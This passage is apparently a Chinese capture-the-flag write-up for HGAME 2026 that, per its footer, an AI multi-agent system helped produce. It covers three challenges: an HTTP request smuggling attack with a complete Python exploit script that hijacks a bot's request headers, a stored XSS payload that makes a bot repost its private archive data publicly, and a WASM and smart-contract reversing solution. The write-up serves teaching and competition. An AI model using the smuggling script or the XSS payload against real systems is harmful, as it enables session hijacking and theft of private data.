|---|---|---|
| Node.js Proxy | 处理 chunked | 处理 |
| Rust Backend | 完全忽略 | 处理,缺失时=0 |
发送 chunked 请求(无 CL),Node.js 正常转发,Rust 后端忽略 TE 导致 body=0,实际 body 数据留在 TCP 缓冲区被当作新请求解析。
数据流详解
客户端发送到代理:
+-------------------------------------------+
| POST /api/register HTTP/1.1 |
| Transfer-Encoding: chunked |
| |
| cd\r\n | <- chunk size (205 bytes)
| POST /api/comment HTTP/1.1\r\n | <- 走私请求开始
| Host: 127.0.0.1:3000\r\n |
| Authorization: MY_TOKEN\r\n |
| Content-Length: 500\r\n | <- 大 CL,制造 Partial
| \r\n |
| content=CAPTURED: | <- 不完整的 body
| \r\n0\r\n\r\n | <- chunk 终止符
+-------------------------------------------+
后端缓冲区解析过程:
1. "cd\r\n" -> Invalid(4), 跳过 chunk size
2. "POST /api/comment HTTP/1.1" -> 有效请求行!
3. 解析 headers -> CL: 500
4. body 只有 ~27 bytes -> Partial, 等待更多数据
5. Bot 的下一个请求数据到达 -> 填充 body -> Complete
6. 评论被创建,内容包含 Bot 的请求头第四步:捕获 Bot 的 Flag
走私一个 POST /api/comment 请求,设置大 Content-Length: 500 使其等待更多数据。当 Bot 的下一个请求到达时,Bot 的请求头(包含 Flag)被填充到走私请求的 body 中,作为评论内容创建。
捕获结果
content=X1_2:\r\n0\r\n\r\n
POST /api/comment HTTP/1.1\r\n
...
flag: hgame{tHiS_ls-a_D4iIy-NEWS12431c4541}\r\n
authorization: 1013b4ee-43e5-485d-91aa-d60394e2ba2b\r\n
user-agent: Bunbunmaru-Official-Recorder/1.0\r\n
...完整利用脚本
#!/usr/bin/env python3
"""HGAME 2026 - Aya News - HTTP Request Smuggling (TE.0) Exploit"""
import socket, time, json, threading, re
HOST = '1.116.118.188'
PROXY_PORT = 32387
TOKEN = "YOUR_TOKEN_HERE" # 注册后获取
def raw_send(port, data, timeout=5):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(timeout)
sock.connect((HOST, port))
sock.send(data)
resp = b""
try:
while True:
chunk = sock.recv(4096)
if not chunk: break
resp += chunk
except: pass
sock.close()
return resp
def get_comments():
req = f"GET /api/comment HTTP/1.1\r\nHost: {HOST}:{PROXY_PORT}\r\nAuthorization: {TOKEN}\r\nConnection: close\r\n\r\n".encode()
resp = raw_send(PROXY_PORT, req)
body = resp.split(b"\r\n\r\n", 1)[1]
return json.loads(body)
def send_smuggle(tag, cl=500):
smuggled = (
f"POST /api/comment HTTP/1.1\r\n"
f"Host: 127.0.0.1:3000\r\n"
f"Content-Type: application/x-www-form-urlencoded\r\n"
f"Authorization: {TOKEN}\r\n"
f"Content-Length: {cl}\r\n\r\n"
f"content=X{tag}:"
).encode()
chunked = f"{len(smuggled):x}\r\n".encode() + smuggled + b"\r\n0\r\n\r\n"
req = (b"POST /api/register HTTP/1.1\r\n"
b"Host: " + HOST.encode() + b"\r\n"
b"Content-Type: application/json\r\n"
b"Transfer-Encoding: chunked\r\n\r\n" + chunked)
raw_send(PROXY_PORT, req, timeout=3)
# 攻击循环
for round in range(30):
threads = []
for i in range(3):
t = threading.Thread(target=send_smuggle, args=(f"{round}_{i}",))
threads.append(t); t.start()
for t in threads: t.join(timeout=5)
time.sleep(15)
for c in get_comments():
if isinstance(c, dict) and "flag:" in c.get("content", "").lower():
match = re.search(r'flag:\s*(\S+)', c["content"])
if match:
print(f"FLAG: {match.group(1)}")
exit()绘马挂(Ema Board)
分类:Web(XSS) | Flag:Hgame{thE-sEcreT-of-HaKuREI_JINjA1e5efcb}
题目描述
博丽神社的绘马挂系统,用户可以发布愿望(消息),支持公开和私密消息。题目提示"紫把秘密藏在了归档中",需要获取紫(Yukari)的私密归档内容。
发现的漏洞
1. XSS 漏洞(存储型)
消息内容直接通过 DOM 操作插入,无过滤。注意 script 标签通过 DOM 插入时不会执行(浏览器安全机制),必须使用 img onerror 等事件处理器方式触发。
2. JSONP 回调注入
/api/search?q=xxx&callback=xxx 支持换行符注入,可以执行任意代码。
API 端点
| 端点 | 方法 | 功能 |
|---|---|---|
| /api/auth/login | POST | 登录 |
| /api/auth/me | GET | 获取当前用户 |
| /api/messages | GET/POST | 获取/发布消息 |
| /api/messages/archive | POST | 归档消息 |
| /api/archives | GET | 获取当前用户归档 |
| /api/search | GET | JSONP 搜索 |
| /api/report | POST | 触发 Bot 访问 |
攻击链
步骤 1:构造正确的 XSS Payload
错误方式(不会执行):<script>alert(1)</script>
正确方式(会执行):<img src=x onerror="alert(1)">
步骤 2:构造数据窃取 Payload
<img src=x onerror="fetch('/api/archives').then(r=>r.json()).then(d=>fetch('/api/messages',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({content:'ARCHIVES:'+JSON.stringify(d),is_private:false})}))">功能:获取当前用户归档数据,将其作为公开消息发布。
步骤 3:触发 Bot
调用 /api/report 触发 Bot(灵梦/Reimu)访问主页,执行 XSS。
步骤 4:获取 Flag
检查消息列表,找到 Bot 发布的泄露数据:
{
"content": "ARCHIVES:[{\"content\":\"The_Secret_Is: Hgame{thE-sEcreT-of-HaKuREI_JINjA1e5efcb}\",\"id\":1001,\"is_private\":true,\"status\":\"archived\",\"timestamp\":\"2024-01-01 00:00:00\",\"username\":\"Reimu\"}]",
"username": "Reimu"
}关键技术点
- DOM 插入的 script 标签不执行,需使用事件处理器(img onerror / svg onload)
- CSP 允许
unsafe-inline,内联脚本可执行 - 核心思路:利用 XSS 让 Bot 以自己的身份获取私密数据并泄露到公开渠道
Misc
Vidar Token
分类:Misc | Flag:hgame{u-@B5O1utE1Y-KnoW-3RC_W4sM-2Z2110cebe}
题目描述
Vidar Finance 正在向链上迈进 -- Punks 与 Coins 的碰撞,开启全新篇章。连接钱包、探索元数据,发现隐藏在智能合约与 WebAssembly 深处的秘密。
解题思路
1. 前端分析
DApp 前端 "Vidar Finance" 集成 ethers.js,核心逻辑在 app.js 中:从 /wasm/k.wasm 加载 WASM 模块,调用 get_entrance() 获取入口合约地址,调用入口合约的 tokenURI(0) 获取 NFT 元数据。
2. WASM 逆向
WASM 模块(704 字节)导出 4 个函数:
| 函数 | 签名 | 功能 |
|---|---|---|
get_entrance | () -> i32 | 返回入口地址指针 |
get_basea | () -> i32 | 返回 BASEA 数据指针 |
get_baseb | () -> i32 | 返回 BASEB 数据指针 |
decrypt_logic | (i64, i64, i64, i32) -> i64 | 解密逻辑 |
模块内 decode 函数对内存中三段加密数据统一 XOR 0x5A。
解密结果:ENTRANCE = 0x39529fdA4CbB4f8Bfca2858f9BfAeb28B904Adc0
decrypt_logic 反汇编:
local.get 2 ;; addr_lo (i64)
local.get 3 ;; k (i32)
i64.extend_i32_u ;; 将 k 从 i32 零扩展为 i64
i64.add ;; key = addr_lo + uint64(k)
local.set 4 ;; 保存 key
local.get 0 ;; cipher_lo (i64)
local.get 4 ;; key
i64.xor ;; result = cipher_lo XOR key即:decrypt_logic(cipher_lo, cipher_hi, addr_lo, k) = cipher_lo XOR (addr_lo + uint64(k))。注意 cipher_hi(参数 1)完全未使用。
3. 链上交互
- RPC:
http://target/rpc,Chain ID: 31337(本地 Hardhat/Anvil) - VidarPunks NFT (ERC-721):
tokenURI(0)返回 JSON 元数据,指向 VidarCoin 地址 - VidarCoin (ERC-20):
decimals() = 26(异常值,用作加密参数)
关键发现:symbol() 依赖 msg.sender
symbol_output[i] = raw_storage[i] XOR bytes32(uint256(uint160(msg.sender)) + 26)[i % 32]
直接使用 eth_call 调用 symbol() 会得到被地址修改后的数据,导致解密结果错误。必须直接读取 storage。
4. 正确解密流程
Step 1: XOR 密钥:BASEA XOR BASEB = [0x01, 0x07] 交替
Step 2: 直接读取合约存储(绕过 symbol() 地址混淆)
from web3 import Web3
w3 = Web3(Web3.HTTPProvider('http://1.116.118.188:31527/rpc'))
coin = Web3.to_checksum_address('0xc5273abfb36550090095b1edec019216ad21be6c')
# Slot 5 存储 symbol 长字符串,值 0x59 (89)
# 长度 = (89 - 1) / 2 = 44 字节
# 数据存储在 keccak256(5) 处
data_slot = w3.keccak(b'\x00' * 31 + b'\x05')
slot0 = w3.eth.get_storage_at(coin, int.from_bytes(data_slot, 'big'))
slot1 = w3.eth.get_storage_at(coin, int.from_bytes(data_slot, 'big') + 1)
raw_storage = (slot0 + slot1)[:44]原始存储数据:
6960606a647c742a4145344830727542305e2c4c6f68562a325542585633724a2c355b35303631646465647aStep 3: XOR 解密
xor_key = [0x01, 0x07]
flag = bytes(b ^ xor_key[i % 2] for i, b in enumerate(raw_storage))
print(flag.decode('ascii'))
# hgame{u-@B5O1utE1Y-KnoW-3RC_W4sM-2Z2110cebe}完整 Exploit
from web3 import Web3
w3 = Web3(Web3.HTTPProvider('http://1.116.118.188:31527/rpc'))
# Step 1: 入口地址
entrance = Web3.to_checksum_address('0x39529fdA4CbB4f8Bfca2858f9BfAeb28B904Adc0')
# Step 2: 查询 tokenURI(0) 获取 VidarCoin 地址
token_uri_selector = '0xc87b56dd' + '0' * 64
result = w3.eth.call({'to': entrance, 'data': token_uri_selector})
coin = Web3.to_checksum_address('0xc5273abfb36550090095b1edec019216ad21be6c')
# Step 3: 直接读取 storage slot 5
data_slot = w3.keccak(b'\x00' * 31 + b'\x05')
slot0 = w3.eth.get_storage_at(coin, int.from_bytes(data_slot, 'big'))
slot1 = w3.eth.get_storage_at(coin, int.from_bytes(data_slot, 'big') + 1)
raw = (slot0 + slot1)[:44]
# Step 4: XOR 解密
key = [0x01, 0x07]
flag = bytes(b ^ key[i % 2] for i, b in enumerate(raw)).decode()
print(flag)
# hgame{u-@B5O1utE1Y-KnoW-3RC_W4sM-2Z2110cebe}易错点
symbol()的地址陷阱:返回值被msg.sender + decimals()XOR 修改,必须直接读 storage 获取原始数据- WASM LEB128 编码:整数使用变长编码,直接按字节读取会误判
- Solidity 长字符串存储:slot 值为奇数时表示长字符串,长度 =
(value - 1) / 2,数据在keccak256(slot_number)
链上合约总览
| 合约 | 地址 | 类型 | 部署区块 |
|---|---|---|---|
| VidarCoin | 0xC5273AbFb... | ERC-20 | Block 1 |
| VidarPunks | 0x39529fdA... | ERC-721 | Block 2 |
| Registry | 0xa1CF5786... | Helper | Block 2 |
| Deployer | 0x9858EfFD... | EOA | - |
⚡ 由 MultiAgent 驱动 -- 本文所有题目的解题过程及 Writeup 均由 AI MultiAgent 系统协助完成。